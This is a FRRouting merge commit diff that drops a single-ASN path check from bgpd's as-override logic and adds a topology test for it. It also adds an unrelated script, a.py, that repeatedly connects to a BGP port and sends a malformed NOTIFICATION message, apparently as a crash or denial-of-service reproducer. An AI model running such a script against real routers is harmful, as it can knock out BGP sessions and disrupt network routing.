Merge pull request #11692 from opensourcerouting/fix/bgpd_as_override

bgpd: Override ASN without checking if an entire as-path is from a single ASN

a.py

@@ -0,0 +1,22 @@
+import socket
+from time import sleep
+
+bgp_open = b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00#\x01\x04\x00\x02\x00\x05\xac\x11\x00\x01\xff\xff\x00\x03\x00\x01\x00'
+bgp_keepalive = b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x13\x04'
+bgp_notification = b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x15\x04xv'
+
+while True:
+    try:
+        print("[+] Creating socket...")
+        s = socket.socket(type=socket.SOCK_STREAM)
+        print("[+] Connecting to server...")
+        s.connect(('172.17.0.3', 179))
+        s.send(bgp_open)
+        sleep(0.0009999999)
+        s.send(bgp_keepalive)
+        s.send(bgp_notification)
+    except KeyboardInterrupt:
+        s.close()
+        break
+    except:
+        s.close()

bgpd/bgp_aspath.c

@@ -1209,28 +1209,6 @@ bool aspath_private_as_check(struct aspath *aspath)
 	return true;
 }
 
-/* Return True if the entire ASPATH consist of the specified ASN */
-bool aspath_single_asn_check(struct aspath *aspath, as_t asn)
-{
-	struct assegment *seg;
-
-	if (!(aspath && aspath->segments))
-		return false;
-
-	seg = aspath->segments;
-
-	while (seg) {
-		int i;
-
-		for (i = 0; i < seg->length; i++) {
-			if (seg->as[i] != asn)
-				return false;
-		}
-		seg = seg->next;
-	}
-	return true;
-}
-
 /* Replace all instances of the target ASN with our own ASN */
 struct aspath *aspath_replace_specific_asn(struct aspath *aspath,
 					   as_t target_asn, as_t our_asn)

bgpd/bgp_aspath.h

@@ -112,7 +112,6 @@ extern unsigned int aspath_get_first_as(struct aspath *aspath);
 extern unsigned int aspath_get_last_as(struct aspath *aspath);
 extern int aspath_loop_check(struct aspath *aspath, as_t asno);
 extern bool aspath_private_as_check(struct aspath *aspath);
-extern bool aspath_single_asn_check(struct aspath *aspath, as_t asn);
 extern struct aspath *aspath_replace_specific_asn(struct aspath *aspath,
 						  as_t target_asn,
 						  as_t our_asn);

bgpd/bgp_route.c

@@ -1773,12 +1773,10 @@ static void bgp_peer_remove_private_as(struct bgp *bgp, afi_t afi, safi_t safi,
 static void bgp_peer_as_override(struct bgp *bgp, afi_t afi, safi_t safi,
 				 struct peer *peer, struct attr *attr)
 {
-	if (peer->sort == BGP_PEER_EBGP
-	    && peer_af_flag_check(peer, afi, safi, PEER_FLAG_AS_OVERRIDE)) {
-		if (aspath_single_asn_check(attr->aspath, peer->as))
-			attr->aspath = aspath_replace_specific_asn(
-				attr->aspath, peer->as, bgp->as);
-	}
+	if (peer->sort == BGP_PEER_EBGP &&
+	    peer_af_flag_check(peer, afi, safi, PEER_FLAG_AS_OVERRIDE))
+		attr->aspath = aspath_replace_specific_asn(attr->aspath,
+							   peer->as, bgp->as);
 }
 
 void bgp_attr_add_llgr_community(struct attr *attr)

tests/topotests/bgp_as_override/r1/bgpd.conf

@@ -0,0 +1,10 @@
+!
+router bgp 65001
+ no bgp ebgp-requires-policy
+ neighbor 192.168.1.1 remote-as external
+ neighbor 192.168.1.1 timers 1 3
+ neighbor 192.168.1.1 timers connect 1
+ address-family ipv4
+  redistribute connected
+ exit-address-family
+!

tests/topotests/bgp_as_override/r1/zebra.conf

@@ -0,0 +1,9 @@
+!
+interface lo
+ ip address 172.16.255.1/32
+!
+interface r1-eth0
+ ip address 192.168.1.2/30
+!
+ip forwarding
+!

tests/topotests/bgp_as_override/r2/bgpd.conf

@@ -0,0 +1,10 @@
+!
+router bgp 65002
+ no bgp ebgp-requires-policy
+ neighbor 192.168.1.2 remote-as external
+ neighbor 192.168.1.2 timers 1 3
+ neighbor 192.168.1.2 timers connect 1
+ neighbor 192.168.2.2 remote-as external
+ neighbor 192.168.2.2 timers 1 3
+ neighbor 192.168.2.2 timers connect 1
+!

tests/topotests/bgp_as_override/r2/zebra.conf

@@ -0,0 +1,9 @@
+!
+interface r2-eth0
+ ip address 192.168.1.1/30
+!
+interface r2-eth1
+ ip address 192.168.2.1/30
+!
+ip forwarding
+!

tests/topotests/bgp_as_override/r3/bgpd.conf

@@ -0,0 +1,13 @@
+!
+router bgp 65003
+ no bgp ebgp-requires-policy
+ neighbor 192.168.2.1 remote-as external
+ neighbor 192.168.2.1 timers 1 3
+ neighbor 192.168.2.1 timers connect 1
+ neighbor 192.168.3.1 remote-as external
+ neighbor 192.168.3.1 timers 1 3
+ neighbor 192.168.3.1 timers connect 1
+ address-family ipv4 unicast
+  neighbor 192.168.3.1 as-override
+ exit-address-family
+!

tests/topotests/bgp_as_override/r3/zebra.conf

@@ -0,0 +1,9 @@
+!
+interface r3-eth0
+ ip address 192.168.2.2/30
+!
+interface r3-eth1
+ ip address 192.168.3.2/30
+!
+ip forwarding
+!

tests/topotests/bgp_as_override/r4/bgpd.conf

@@ -0,0 +1,7 @@
+!
+router bgp 65001
+ no bgp ebgp-requires-policy
+ neighbor 192.168.3.2 remote-as external
+ neighbor 192.168.3.2 timers 1 3
+ neighbor 192.168.3.2 timers connect 1
+!

tests/topotests/bgp_as_override/r4/zebra.conf

@@ -0,0 +1,6 @@
+!
+interface r4-eth0
+ ip address 192.168.3.1/30
+!
+ip forwarding
+!

tests/topotests/bgp_as_override/test_bgp_as_override.py

@@ -0,0 +1,122 @@
+#!/usr/bin/env python
+
+#
+# Copyright (c) 2022 by
+# Donatas Abraitis <donatas@opensourcerouting.org>
+#
+# Permission to use, copy, modify, and/or distribute this software
+# for any purpose with or without fee is hereby granted, provided
+# that the above copyright notice and this permission notice appear
+# in all copies.
+#
+# THE SOFTWARE IS PROVIDED "AS IS" AND NETDEF DISCLAIMS ALL WARRANTIES
+# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
+# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NETDEF BE LIABLE FOR
+# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY
+# DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+# WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS
+# ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE
+# OF THIS SOFTWARE.
+#
+
+"""
+"""
+
+import os
+import sys
+import json
+import pytest
+import functools
+
+CWD = os.path.dirname(os.path.realpath(__file__))
+sys.path.append(os.path.join(CWD, "../"))
+
+# pylint: disable=C0413
+from lib import topotest
+from lib.topogen import Topogen, TopoRouter, get_topogen
+from lib.common_config import step
+
+pytestmark = [pytest.mark.bgpd]
+
+
+def build_topo(tgen):
+    for routern in range(1, 7):
+        tgen.add_router("r{}".format(routern))
+
+    switch = tgen.add_switch("s1")
+    switch.add_link(tgen.gears["r1"])
+    switch.add_link(tgen.gears["r2"])
+
+    switch = tgen.add_switch("s2")
+    switch.add_link(tgen.gears["r2"])
+    switch.add_link(tgen.gears["r3"])
+
+    switch = tgen.add_switch("s3")
+    switch.add_link(tgen.gears["r3"])
+    switch.add_link(tgen.gears["r4"])
+
+
+def setup_module(mod):
+    tgen = Topogen(build_topo, mod.__name__)
+    tgen.start_topology()
+
+    router_list = tgen.routers()
+
+    for i, (rname, router) in enumerate(router_list.items(), 1):
+        router.load_config(
+            TopoRouter.RD_ZEBRA, os.path.join(CWD, "{}/zebra.conf".format(rname))
+        )
+        router.load_config(
+            TopoRouter.RD_BGP, os.path.join(CWD, "{}/bgpd.conf".format(rname))
+        )
+
+    tgen.start_router()
+
+
+def teardown_module(mod):
+    tgen = get_topogen()
+    tgen.stop_topology()
+
+
+def test_bgp_as_override():
+    tgen = get_topogen()
+
+    if tgen.routers_have_failure():
+        pytest.skip(tgen.errors)
+
+    r3 = tgen.gears["r3"]
+    r4 = tgen.gears["r4"]
+
+    def _bgp_converge():
+        output = json.loads(r3.vtysh_cmd("show ip bgp neighbor 192.168.2.1 json"))
+        expected = {
+            "192.168.2.1": {
+                "bgpState": "Established",
+                "addressFamilyInfo": {"ipv4Unicast": {"acceptedPrefixCounter": 2}},
+            }
+        }
+        return topotest.json_cmp(output, expected)
+
+    def _bgp_as_override():
+        output = json.loads(r4.vtysh_cmd("show bgp ipv4 unicast json"))
+        expected = {
+            "routes": {
+                "172.16.255.1/32": [{"valid": True, "path": "65003 65002 65003"}]
+            }
+        }
+        return topotest.json_cmp(output, expected)
+
+    step("Initial BGP converge")
+    test_func = functools.partial(_bgp_converge)
+    _, result = topotest.run_and_expect(test_func, None, count=60, wait=0.5)
+    assert result is None, "Failed to see BGP convergence on R4"
+
+    step("Check if BGP as-override from R3 works")
+    test_func = functools.partial(_bgp_as_override)
+    _, result = topotest.run_and_expect(test_func, None, count=60, wait=0.5)
+    assert result is None, "Failed to see overriden ASN (65001) from R3"
+
+
+if __name__ == "__main__":
+    args = ["-s"] + sys.argv[1:]
+    sys.exit(pytest.main(args))